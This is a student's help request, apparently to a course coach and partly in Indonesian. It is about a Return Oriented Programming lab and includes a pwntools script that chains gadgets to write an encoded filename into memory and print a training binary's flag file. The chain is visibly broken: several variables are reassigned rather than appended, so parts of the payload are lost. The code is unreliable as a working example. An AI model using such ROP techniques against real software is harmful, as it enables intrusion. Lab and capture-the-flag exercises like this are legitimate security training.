Lab Return Oriented Programming Kompleks – Bad Chars

Dear Coach, pada saat praktek Lab Return Oriented Programming Kompleks – Bad Chars, flag ROPE{a_placeholder_32byte_flag!} gak keluar, but muncul tulisan:

Failed to open file:
[*] Process ‘./badchars32’ stopped with exit code 1 (pid 4896)

Ini code lengkapnya di nano exploit.py:

from pwn import *

#b’78’ x
#b’67’ g
#b’61’ a
#b’2e’ .

p = process(“./badchars32″)

gadget_pop = p32(0x080485b9) #pop esi ; pop edi ; pop ebp ; ret
gadget_mov = p32(0x0804854f)
bss_addr = 0x804a030
print_addr = p32(0x08048538)
pop_ebp = p32(0x080485bb)
pop_ebx = p32(0x0804839d)
sub_ebp_ebx = p32(0x0804854b)

fla_str = p32(0x68626c66) #”flbh”
txt_str = p32(0x7479742f) #”/tyt”
padding = “A” * 44

# 1st write
write_fla = gadget_pop
write_fla += fla_str
write_fla += p32(bss_addr)
write_fla += b”AAAA”
write_fla += gadget_mov

write_fla = pop_ebp
write_fla += p32(bss_addr + 2)
write_fla += pop_ebx
write_fla += p32(0x1)
write_fla += sub_ebp_ebx

write_fla = pop_ebp
write_fla += p32(bss_addr + 3)
write_fla += pop_ebx
write_fla += p32(0x1)
write_fla += sub_ebp_ebx

# 2nd write
write_txt = gadget_pop
write_txt += txt_str
write_txt += p32(bss_addr + 4)
write_txt += b”BBBB”
write_txt += gadget_mov

write_txt = pop_ebp
write_txt += p32(bss_addr + 4)
write_txt += pop_ebx
write_txt += p32(0x1)
write_txt += sub_ebp_ebx

write_txt = pop_ebp
write_txt += p32(bss_addr + 6)
write_txt += pop_ebx
write_txt += p32(0x1)
write_txt += sub_ebp_ebx

# call print
call_system = print_addr
call_system += p32(bss_addr)

payload = padding.encode() + write_fla + write_txt + call_system

p.recvuntil(“>”)
p.sendline(payload)
print(p.recvline().decode())
print(p.recvline().decode())